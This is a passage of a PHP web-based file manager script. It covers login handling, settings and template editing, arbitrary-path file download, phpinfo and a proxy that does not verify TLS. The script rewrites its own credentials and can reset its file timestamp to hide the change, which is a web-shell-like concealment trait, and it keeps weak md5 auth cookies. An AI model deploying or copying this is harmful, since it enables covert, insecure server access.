url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //?o?��?o-???? ???????�� ?????��???��???????? ???��?��?? } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,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"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: 